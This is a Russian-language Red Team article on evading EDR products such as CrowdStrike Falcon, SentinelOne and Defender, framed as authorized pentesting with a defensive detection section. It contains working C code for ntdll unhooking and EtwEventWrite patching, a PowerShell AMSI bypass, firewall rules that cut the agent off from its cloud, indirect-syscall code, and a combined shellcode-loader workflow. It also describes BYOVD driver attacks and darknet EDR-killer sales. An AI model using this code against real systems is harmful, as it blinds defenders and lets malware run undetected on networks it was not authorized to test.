Когда я впервые столкнулся с задачей обхода CrowdStrike Falcon на Red Team-проекте - корпоративная среда, полный стек защиты - стандартные инструменты отработали ровно до первого поведенческого алерта. Cobalt Strike из коробки, PowerShell-однострочники, даже кастомные .NET-загрузчики - всё сгорело. Агент перехватил не бинарник, а цепочку API-вызовов, которая «пахла» подозрительно. Вот тут и стало понятно: техники обхода EDR - это не про запуск чужих скриптов. Это про понимание архитектуры обнаружения на уровне системных вызовов, хуков и телеметрии ядра - как это устроено изнутри и как под это затачиваются инструменты, я разобрал в
гайде по разработке Red Team инструментов.
Дальше разберу конкретные механизмы, которые используют коммерческие EDR-решения для обнаружения угроз, покажу рабочие техники их обхода с кодом и объясню, почему каждая из них детектируется или нет. Материал для пентестеров, Red Team операторов и security-инженеров, которым нужно понимать обе стороны - атаку и защиту.
Как EDR обнаруживает угрозы: три уровня телеметрии
Прежде чем обходить EDR, нужно понять, что именно он видит. Большинство русскоязычных материалов описывают техники bypass в вакууме - «патчим ETW и всё работает». На заборе тоже написано. В реальности коммерческие EDR-решения собирают телеметрию на трёх принципиально разных уровнях, и обход одного не отключает остальные.
User-mode хуки в NTDLL
Первый и самый известный уровень - inline-хуки на функциях ntdll.dll. Агенты CrowdStrike, SentinelOne и Defender for Endpoint внедряют свои DLL в каждый пользовательский процесс и перезаписывают пролог Native API функций (
Код:
NtAllocateVirtualMemory
,
Код:
NtWriteVirtualMemory
,
и других) на JMP-инструкции, ведущие в код EDR. Каждый вызов этих функций сначала проходит через обработчик агента, который решает - пропустить или заблокировать.
Конкретика по вендорам различается сильнее, чем кажется. CrowdStrike Falcon загружает kernel-mode драйвер
для kernel callbacks и minifilter-перехвата; в версиях 2023+ Falcon преимущественно опирается на kernel-level телеметрию и ETW, а user-mode hooking отошёл на второй план. SentinelOne, напротив, активнее использует классические inline-хуки в user-mode - тут он более «олдскульный». Все три вендора регистрируют kernel callbacks на создание процессов и потоков (стандартная практика), а Microsoft Defender for Endpoint опирается на комбинацию
(minifilter-драйвер) и AMSI-интеграции.
Kernel callbacks и minifilter-драйверы
Второй уровень - ядро. EDR регистрирует callback-функции через
,
Код:
PsSetCreateThreadNotifyRoutine
и
Код:
PsSetLoadImageNotifyRoutine
. Эти колбеки срабатывают при каждом создании процесса, потока или загрузке образа (DLL/EXE) и не могут быть обойдены из user-mode - тут без вариантов. Minifilter-драйверы (
у CrowdStrike,
у Defender) перехватывают файловые операции на уровне ядра.
ETW-провайдеры и облачная аналитика
Третий уровень - Event Tracing for Windows. ETW предоставляет EDR телеметрию по .NET-событиям, сетевой активности, DNS-запросам, LDAP, RPC и WMI. Агент подписывается на критические ETW-провайдеры и отправляет события в облако для корреляции. По данным академических исследований, именно облачная аналитика в связке с ETW-телеметрией ловит сложные многоэтапные атаки, которые user-mode хуки пропускают.
Техники обхода EDR в user-mode
Перейдём к конкретике. Каждую технику разберу по схеме: что делаем, почему работает, где детектируется.
API Unhooking: восстановление оригинальной NTDLL
Суть - загрузить «чистую» копию ntdll.dll с диска или из KnownDlls и перезаписать модифицированные EDR байты в памяти процесса, восстановив оригинальный код функций. По MITRE ATT&CK это Disable or Modify Tools (T1562.001, Defense Evasion).
Базовый подход - Full DLL Unhooking через маппинг файла с диска:
C:
Код:
// Пример концепции unhooking ntdll.dll
// Загружаем чистую копию ntdll.dll с диска
HANDLE hFile
=
CreateFileA
(
"C:\\Windows\\System32\\ntdll.dll"
,
GENERIC_READ
,
FILE_SHARE_READ
,
NULL
,
OPEN_EXISTING
,
0
,
NULL
)
;
if
(
hFile
==
INVALID_HANDLE_VALUE
)
return
;
HANDLE hMapping
=
CreateFileMapping
(
hFile
,
NULL
,
PAGE_READONLY
|
SEC_IMAGE
,
0
,
0
,
NULL
)
;
if
(
!
hMapping
)
{
CloseHandle
(
hFile
)
;
return
;
}
// Маппим как SEC_IMAGE - Windows разберёт PE-структуру
LPVOID cleanNtdll
=
MapViewOfFile
(
hMapping
,
FILE_MAP_READ
,
0
,
0
,
0
)
;
// ВНИМАНИЕ: упрощённый концептуальный пример
if
(
!
cleanNtdll
)
{
CloseHandle
(
hMapping
)
;
CloseHandle
(
hFile
)
;
return
;
}
// Находим .text секцию в чистой копии
// и перезаписываем соответствующую секцию
// в загруженной ntdll.dll текущего процесса
PIMAGE_DOS_HEADER dosHeader
=
(
PIMAGE_DOS_HEADER
)
cleanNtdll
;
PIMAGE_NT_HEADERS ntHeaders
=
(
PIMAGE_NT_HEADERS
)
(
(
BYTE
*
)
cleanNtdll
+
dosHeader
->
e_lfanew
)
;
PIMAGE_SECTION_HEADER section
=
IMAGE_FIRST_SECTION
(
ntHeaders
)
;
for
(
int
i
=
0
;
i
FileHeader
.
NumberOfSections
;
i
++
)
{
if
(
!
strcmp
(
(
char
*
)
section
[
i
]
.
Name
,
".text"
)
)
{
DWORD oldProtect
;
LPVOID targetBase
=
(
LPVOID
)
(
(
BYTE
*
)
GetModuleHandleA
(
"ntdll.dll"
)
+
section
[
i
]
.
VirtualAddress
)
;
VirtualProtect
(
targetBase
,
section
[
i
]
.
Misc
.
VirtualSize
,
PAGE_EXECUTE_READWRITE
,
&
oldProtect
)
;
memcpy
(
targetBase
,
(
BYTE
*
)
cleanNtdll
+
section
[
i
]
.
VirtualAddress
,
section
[
i
]
.
Misc
.
VirtualSize
)
;
VirtualProtect
(
targetBase
,
section
[
i
]
.
Misc
.
VirtualSize
,
oldProtect
,
&
oldProtect
)
;
}
}
UnmapViewOfFile
(
cleanNtdll
)
;
CloseHandle
(
hMapping
)
;
CloseHandle
(
hFile
)
;
Проблема: CrowdStrike и SentinelOne давно научились ловить unhooking. Агент периодически проверяет целостность своих хуков и восстанавливает их, если обнаруживает деактивацию. Более того, само обращение к файлу ntdll.dll на диске (
по этому пути) генерирует событие через minifilter-драйвер. Альтернатива - открытие через
Код:
\KnownDlls\ntdll.dll
(NtOpenSection), что не проходит через minifilter. SEC_IMAGE маппинг обеспечивает корректное выравнивание секций аналогично загруженному образу, поэтому прямое копирование
секции корректно.
Более скрытный вариант - Manual Mapping отдельных функций вместо целой библиотеки. Вместо полной перезаписи
секции загружаем только байты конкретных функций (скажем,
Код:
NtAllocateVirtualMemory
), минимизируя «шум». Но при сканировании памяти EDR может обнаружить дублированный код ntdll.dll - а это само по себе индикатор атаки.
Direct и Indirect Syscalls: минуя хуки полностью
Вместо того чтобы снимать хуки, можно вообще не вызывать функции ntdll.dll, а сделать системный вызов напрямую. По MITRE ATT&CK - Native API (T1106, Execution).
В Windows каждая функция
в ntdll.dll - обёртка, которая помещает номер syscall в регистр EAX и выполняет инструкцию
. Знаем номер - собираем обёртку сами.
Direct Syscalls - вызываем syscall напрямую из нашего кода:
Код:
Код:
; Пример для демонстрации концепции - NtAllocateVirtualMemory
; Номер syscall зависит от версии Windows (динамический)
mov r10, rcx
mov eax, ; номер зависит от версии/билда Windows - хардкод недопустим!
; используйте динамическое разрешение (Hell's Gate, SysWhispers3)
syscall
ret
Проект Hell's Gate решает проблему динамического определения номеров syscall: он парсит экспортируемые функции ntdll.dll в памяти и извлекает номера из пролога, даже если хуки установлены - номер syscall лежит перед JMP-инструкцией.
Halo's Gate развивает идею: если пролог функции повреждён хуком, он ищет номер у соседних функций (Nt* функции имеют последовательные номера) и вычисляет нужный через смещение. Красивый трюк.
Indirect Syscalls - более скрытный вариант. Инструкция
выполняется не из нашего кода, а из оригинальной ntdll.dll. Мы находим адрес инструкции
внутри ntdll.dll и передаём управление туда. Это критически важно: некоторые EDR (в частности, CrowdStrike) проверяют, откуда пришёл syscall. Если return address указывает не на ntdll.dll, а на неизвестный регион памяти - срабатывает детект.
C:
Код:
// Концепция indirect syscall
// Находим адрес инструкции syscall;ret в оригинальной ntdll
BYTE
*
pNtAllocateVirtualMemory
=
(
BYTE
*
)
GetProcAddress
(
GetModuleHandleA
(
"ntdll.dll"
)
,
"NtAllocateVirtualMemory"
)
;
// Сканируем байты: ищем 0F 05 (syscall) + C3 (ret)
// NB: при наличии inline hook пролог перезаписан - syscall может быть
// смещён дальше; в этом случае используйте Halo's Gate или увеличьте диапазон
BYTE
*
syscallAddr
=
NULL
;
for
(
int
i
=
0
;
i
- иначе вызов будет некорректным.
// Прыгаем на найденный адрес вместо прямого syscall
// Инструкция syscall выполняется по адресу внутри ntdll.dll,
// поэтому kernel-level проверка origin (RIP при входе в ядро) видит ntdll.dll.
// Однако user-mode call stack всё равно содержит наш код как caller -
// indirect syscalls обходят проверку адреса syscall instruction, но не полностью маскируют call stack.
По данным исследования EDR/XDR evasion (dev.to), прямые syscalls обнаруживаются современными EDR через анализ call stack: если вызов
Код:
NtAllocateVirtualMemory
приходит из памяти, не принадлежащей ntdll.dll, это аномалия. Indirect syscalls решают именно эту проблему.
ETW Patching: отключение телеметрии событий
ETW - основной источник телеметрии для EDR по .NET, сетевой активности и операциям с объектами ядра. Патчинг функции
в контексте текущего процесса «ослепляет» EDR для событий этого процесса. Грубо, но работает.
C:
Код:
// Патчинг EtwEventWrite в текущем процессе
void
PatchETW
(
)
{
HMODULE hNtdll
=
GetModuleHandleA
(
"ntdll.dll"
)
;
FARPROC pEtwEventWrite
=
GetProcAddress
(
hNtdll
,
"EtwEventWrite"
)
;
DWORD oldProtect
;
// xor rax, rax; ret - функция возвращает 0 (SUCCESS)
// но ничего не делает
#ifdef _WIN64
BYTE patch
[
]
=
{
0x48
,
0x33
,
0xC0
,
0xC3
}
;
// xor rax,rax; ret
#else
BYTE patch
[
]
=
{
0x33
,
0xC0
,
0xC2
,
0x14
,
0x00
}
;
// xor eax,eax; ret 14h
#endif
VirtualProtect
(
(
LPVOID
)
pEtwEventWrite
,
sizeof
(
patch
)
,
PAGE_EXECUTE_READWRITE
,
&
oldProtect
)
;
memcpy
(
(
LPVOID
)
pEtwEventWrite
,
patch
,
sizeof
(
patch
)
)
;
VirtualProtect
(
(
LPVOID
)
pEtwEventWrite
,
sizeof
(
patch
)
,
oldProtect
,
&
oldProtect
)
;
}
Нюанс, который многие упускают: ETW patching работает только в user-mode. Kernel-level ETW провайдеры продолжают генерировать события как ни в чём не бывало. На практике продвинутые инструменты обхода EDR комбинируют ETW bypass с unhooking системных DLL и AMSI bypass - такой подход описан в публичных исследованиях MDSec и SpecterOps.
AMSI Bypass: обход антивирусного интерфейса
AMSI (Antimalware Scan Interface) - механизм, через который PowerShell, .NET, VBScript и JScript передают содержимое скриптов на проверку антивирусу перед исполнением. Microsoft Defender for Endpoint и SentinelOne активно используют AMSI для обнаружения обфусцированных скриптов.
Классический bypass - патчинг функции
в amsi.dll:
Код:
Код:
# Пример для демонстрации концепции - не рабочий в текущем виде,
# так как сигнатура этого кода детектируется
$a = [Ref].Assembly.GetTypes() | ? {$_.Name -like '*iUtils'}
$f = $a.GetFields('NonPublic,Static') | ? {$_.Name -like '*Context'}
[IntPtr]$ptr = $f.GetValue($null)
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
В 2024–2025 прямой патчинг
по сигнатуре детектируется всеми тремя вендорами. Рабочие подходы требуют обфускации самого bypass-кода или использования hardware breakpoints для перехвата
без модификации памяти. Принцип: hardware breakpoint устанавливает DR0–DR3 регистры процессора для перехвата вызова через vectored exception handler, который подменяет результат проверки. Память amsi.dll не модифицируется - integrity checks не срабатывают. Реализации описаны в работах @_RastaMouse (AMSI bypass via hardware breakpoints) и @CCob (AmsiHook).
Kernel-level bypass: BYOVD и атаки на драйверы
Все техники уклонения от обнаружения в user-mode упираются в одно ограничение: kernel callbacks продолжают работать. Чтобы по-настоящему нейтрализовать EDR, атакующие лезут в ядро.
BYOVD: загрузка уязвимого драйвера для EDR bypass
Bring Your Own Vulnerable Driver (BYOVD) - техника Disable or Modify Tools (T1562.001, Defense Evasion), при которой атакующий загружает легитимный подписанный драйвер с известной уязвимостью и через неё получает привилегии ядра. Звучит нагло - но работает пугающе часто.
Наиболее документированный пример - действия группировки SCATTERED SPIDER, описанные CrowdStrike. Атакующие использовали CVE-2015-2291 в драйвере Intel Ethernet diagnostics (
). По данным NVD, IQVW32.sys и IQVW64.sys версий ниже 1.3.1.0 позволяют локальному пользователю вызвать отказ в обслуживании или выполнить произвольный код с привилегиями ядра через специально сформированные IOCTL-вызовы (
,
,
,
). CVSS 7.8 (HIGH), вектор CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - локальный доступ, низкая сложность, минимальные привилегии. CWE-20 (Improper Input Validation) - драйвер тупо не валидирует входные данные IOCTL-запросов.
По техническому анализу CrowdStrike, вредоносный драйвер SCATTERED SPIDER:
- Загружает уязвимый
через стандартный механизм Windows
- Через IOCTL-уязвимость получает доступ к kernel-памяти
- Находит загруженный модуль
(драйвер CrowdStrike Falcon)
- Ищет жёстко закодированный паттерн из 64 байт с маской
- Перезаписывает критические функции драйвера trampoline-кодом, который всегда возвращает «успех»
Результат - Falcon-сенсор формально работает, но его функции обнаружения нейтрализованы. Красивый фантик, а внутри - пустота. CrowdStrike отмечает, что их ML-модели заблокировали и поместили в карантин этот вредоносный драйвер до его активации.
Публичные инструменты вроде KDMapper позволяют маппить неподписанные драйверы в память ядра через BYOVD. По данным MITRE ATT&CK, группировки APT38, Agrius, Akira, BlackByte и другие активно используют эту технику - Agrius, например, использовал
(инструмент для удаления руткитов) для остановки процессов security-продуктов. Ирония: инструмент безопасности используется для убийства другого инструмента безопасности.
RealBlindingEDR и утилиты нейтрализации EDR
По данным Trend Micro (август 2025), группировка Crypto24 использовала кастомизированную версию open-source инструмента RealBlindingEDR для нейтрализации EDR-защиты. Кастомизированная версия использовала «вероятно неизвестные уязвимые драйверы» - что говорит о глубокой технической экспертизе и постоянном обновлении инструментария.
Дополнительно Crypto24 злоупотребляли
- легитимной утилитой Group Policy - для удалённого запуска деинсталлятора EDR с сетевого ресурса. Классический
Living off the Land: штатные инструменты администрирования Windows используются для их же уничтожения.
Обход endpoint detection через сетевую изоляцию
Отдельный класс техник обхода EDR - блокировка связи агента с облаком. Как отмечает исследование, получившее третье место на Pentest Award 2025, EDR «сильно завязан на облако». Без доступа к облачным сервисам агент теряет аналитические возможности: поведенческие модели не получают обновлений, корреляция событий не происходит, а DFIR-команды не видят машину в консоли. По сути, агент слепнет.
Базовый подход - блокировка исходящих подключений агента через правила Windows Firewall:
Код:
Код:
# Блокировка исходящего трафика MDE к облаку
New-NetFirewallRule -DisplayName "Block MsSense" `
-Direction Outbound `
-Program "$env:ProgramFiles\Windows Defender Advanced Threat Protection\MsSense.exe" `
-RemotePort 443 -Protocol TCP -Action Block
New-NetFirewallRule -DisplayName "Block SenseCncProxy" `
-Direction Outbound `
-Program "$env:ProgramFiles\Windows Defender Advanced Threat Protection\SenseCncProxy.exe" `
-RemotePort 443 -Protocol TCP -Action Block
Сразу оговорка: эти команды работают только при отключённой Tamper Protection, что нетипично для production. В managed environments (Intune/SCCM) Tamper Protection включена по умолчанию и не отключается локально - тут команды бесполезны. WFP-подход ниже - более реалистичная альтернатива.
Windows Filtering Platform (WFP) работает на уровне ниже Windows Firewall и позволяет создавать фильтры, невидимые стандартным средствам мониторинга. Фильтры WFP могут быть временными (удаляются при перезагрузке) или постоянными, и позволяют блокировать соединения по приложению, порту, адресу и другим признакам.
Отключение EDR агента: практический workflow для пентеста
Вот пошаговый процесс, который я использую при оценке устойчивости EDR в рамках авторизованного пентеста. Каждый шаг имеет конкретную цель и альтернативный вариант.
Шаг 1 - Разведка агента. Определяем, какой EDR установлен, его версию и конфигурацию:
Код:
Код:
:: Определение EDR по запущенным процессам
tasklist /svc | findstr /i "csfalcon MsSense SentinelAgent"
:: Проверка загруженных драйверов
driverquery /v | findstr /i "csagent WdFilter sentinelmonitor"
:: Проверка установленных сервисов
sc query CSFalconService
sc query Sense
sc query SentinelAgent
Шаг 2 - Оценка защиты от модификации. Проверяем Tamper Protection, PPL-статус процесса агента и ACL на сервисах:
Код:
Код:
# Проверка Tamper Protection для Defender
Get-MpComputerStatus | Select-Object IsTamperProtected
# Проверка PPL-статуса процесса (через Process Explorer или WinDbg)
# PPL-процессы защищены от завершения даже с правами SYSTEM
Шаг 3 - Выбор техники обхода. На основе результатов разведки:
СценарийРекомендуемая техникаСложностьНужно запустить payload, агент с user-mode хукамиIndirect syscalls + ETW patchСредняяНужно полностью нейтрализовать агентBYOVD (при наличии привилегий)ВысокаяНужно снизить облачную аналитикуБлокировка через WFPСредняяНужно обойти AMSI для PowerShellHardware breakpoint на AmsiScanBufferСредняя
Шаг 4 - Подготовка загрузчика. Собираем shellcode loader, который комбинирует несколько техник:
C:
Код:
// ПСЕВДОКОД - не компилируемый пример, демонстрирующий логику комбинированного подхода.
// Реализации: Hell's Gate (github.com/am0nsec/HellsGate),
// SysWhispers2/3 (github.com/jthuraisamy/SysWhispers2),
// Halo's Gate (описан в блоге Sektor7).
// 1. Патчим ETW в текущем процессе
PatchETW
(
)
;
// 2. Определяем номера syscall через Halo's Gate
DWORD sysNtAlloc
=
HalosGateResolve
(
"NtAllocateVirtualMemory"
)
;
DWORD sysNtWrite
=
HalosGateResolve
(
"NtWriteVirtualMemory"
)
;
DWORD sysNtCreate
=
HalosGateResolve
(
"NtCreateThreadEx"
)
;
// 3. Выделяем память через indirect syscall
IndirectSyscall
(
sysNtAlloc
,
.
.
.
)
;
// 4. Записываем зашифрованный shellcode
// и расшифровываем в памяти перед выполнением
IndirectSyscall
(
sysNtWrite
,
.
.
.
)
;
// 5. Создаём поток для исполнения
// Альтернатива: APC injection или callback-based execution
IndirectSyscall
(
sysNtCreate
,
.
.
.
)
;
Шаг 5 - Валидация. Проверяем, что payload исполнился без алертов в консоли EDR. Procmon и WinDbg - для анализа, какие события всё-таки были сгенерированы. Лично у меня на одном проекте даже после успешного bypass ETW-патча kernel-level callback всё равно зарегистрировал создание потока - пришлось дорабатывать на ходу.
Рынок EDR-килеров: что продают в даркнете
По данным мониторинга хакерских форумов (XSS, Exploit.in, RAMP) компанией ExtraHop, рынок инструментов для обхода EDR живёт и здравствует. Согласно заявлениям продавцов (которые не были независимо верифицированы - верить на слово тут не стоит), цены варьируются от $300 за единоразовый bypass до $10 000 за полный пакет с исходным кодом.
Продавец KernelMode на форуме XSS (листинг от января 2024) предлагает инструмент, который не завершает процессы EDR, а незаметно отключает функции сканирования файлов и памяти - «внешне security-решение продолжает работать, но фактически сканирование не выполняется». Поддержка каждого EDR-вендора - $1 500 в месяц, минимальный заказ - $7 500. Заявлена совместимость с CrowdStrike, SentinelOne, Kaspersky, Windows Defender и другими.
Продавец Bug предлагает исходный код криптора за $10 000, в который «встроен bypass AV и EDR через syscalls и удаление хуков на системных DLL, реализован ETW и AMSI bypass».
Эти данные показывают: bypass EDR - не академическое упражнение, а реальная угроза. Доступность инструментов снижает порог входа для атакующих, и это нужно учитывать при проектировании защиты.
Техники уклонения от обнаружения: сторона защиты
Если вы security-инженер - вот конкретные телеметрические события, которые генерируют описанные выше техники, и как их ловить:
Техника атакиТелеметрия для обнаруженияИнструментAPI UnhookingЧтение ntdll.dll с диска, изменение .text секцииMinifilter-событие чтения ntdll.dll; периодическая проверка целостности хуков агентом EDR; Sysmon Event ID 7 при загрузке копии через LoadLibrary (но не при MapViewOfFile)Direct SyscallsReturn address не из ntdll.dll в call stackCrowdStrike thread stack analysis, ETW syscall tracingETW PatchingИзменение защиты памяти EtwEventWrite (VirtualProtect)Kernel callback на PAGE_EXECUTE_READWRITEBYOVDЗагрузка известного уязвимого драйвераMicrosoft WDAC, список заблокированных драйверов, Sysmon Event ID 6AMSI BypassПатчинг AmsiScanBufferAMSI провайдер с integrity checkWFP-блокировкаСоздание BFE-фильтровАудит WFP через
Код:
netsh wfp show state
Рекомендации для защиты:
- Включите Tamper Protection на всех EDR-агентах. Это блокирует большинство прямых попыток отключения агента.
- Используйте WDAC (Windows Defender Application Control) для блокировки загрузки известных уязвимых драйверов. Microsoft поддерживает обновляемый blocklist.
- Мониторьте call stack через ETW или vendor-specific телеметрию - аномальные return address'ы при syscall-вызовах надёжно указывают на direct/indirect syscalls.
- Включите HVCI (Hypervisor-Protected Code Integrity, он же Memory Integrity) - аппаратная защита, блокирующая загрузку неподписанных драйверов на уровне гипервизора.
По данным CrowdStrike, при анализе SCATTERED SPIDER они рекомендуют включить Memory Integrity и настроить traffic inspection через Falcon Identity Threat Protection. Для Microsoft Defender for Endpoint - отключение Local Rule Merge через GPO предотвращает перезапись правил файрвола локальными политиками.
SentinelOne evasion: особенности обхода
SentinelOne заслуживает отдельного разговора, потому что его архитектура обнаружения отличается от CrowdStrike и Defender. Агент SentinelOne активно использует поведенческий AI-движок, который анализирует последовательности операций, а не отдельные вызовы. Одиночный подозрительный syscall может пройти незамеченным, но цепочка
→
→
- точно сработает. Этот зверь смотрит на картину целиком.
По данным ExtraHop, продавец mkdele на форуме XSS заявлял о возможности отключения SentinelOne наряду с другими EDR-решениями. Данные MITRE ATT&CK подтверждают, что группировка Aquatic Panda пыталась остановить EDR-инструменты на скомпрометированных системах, а APT38 использовала unhooking DLL для нейтрализации EDR.
Практический вывод: при обходе SentinelOne критически важно разделять этапы атаки по времени и процессам. Выделение памяти - в одном процессе, запись payload - через другой механизм (Section mapping вместо
), исполнение - через callback (
Код:
CreateTimerQueueTimer
или
) вместо стандартного
. Эта тактика «размазывания» атаки по разным примитивам затрудняет корреляцию для поведенческого AI. На одном проекте мы так обошли SentinelOne - разнесли аллокацию и запись по двум процессам с паузой в 30 секунд, и алерт не прилетел.
Выводы
Обход EDR Windows - гонка вооружений, в которой ни одна техника не остаётся рабочей навечно. User-mode хуки обходятся через direct/indirect syscalls, но EDR уходит в ядро. Kernel callbacks обходятся через BYOVD, но Microsoft закрывает дыру через WDAC и HVCI. Облачная аналитика обходится через WFP-блокировку, но Tamper Protection не даёт перенастроить агент. Каждый уровень защиты порождает свой уровень обхода - и наоборот.
Для пентестера: комбинируйте техники. Ни один отдельный bypass не даёт гарантии. Indirect syscalls плюс ETW patch плюс AMSI bypass плюс кастомный shellcode loader - работает. Одна техника в изоляции - детектируется. Проверено.
Для защитника: мониторьте все уровни. User-mode хуки необходимы, но недостаточны. Kernel callbacks, ETW, облачная корреляция и HVCI вместе создают эшелонированную защиту, в которой обход одного уровня не компрометирует всю систему. Начните с
Код:
netsh wfp show state
и Sysmon Event ID 6 - если там тихо, это ещё не значит, что всё в порядке.
Все техники, описанные в этой статье, предназначены исключительно для авторизованного тестирования на проникновение и исследований в области безопасности. Несанкционированное применение преследуется по закону.
Линейный вид
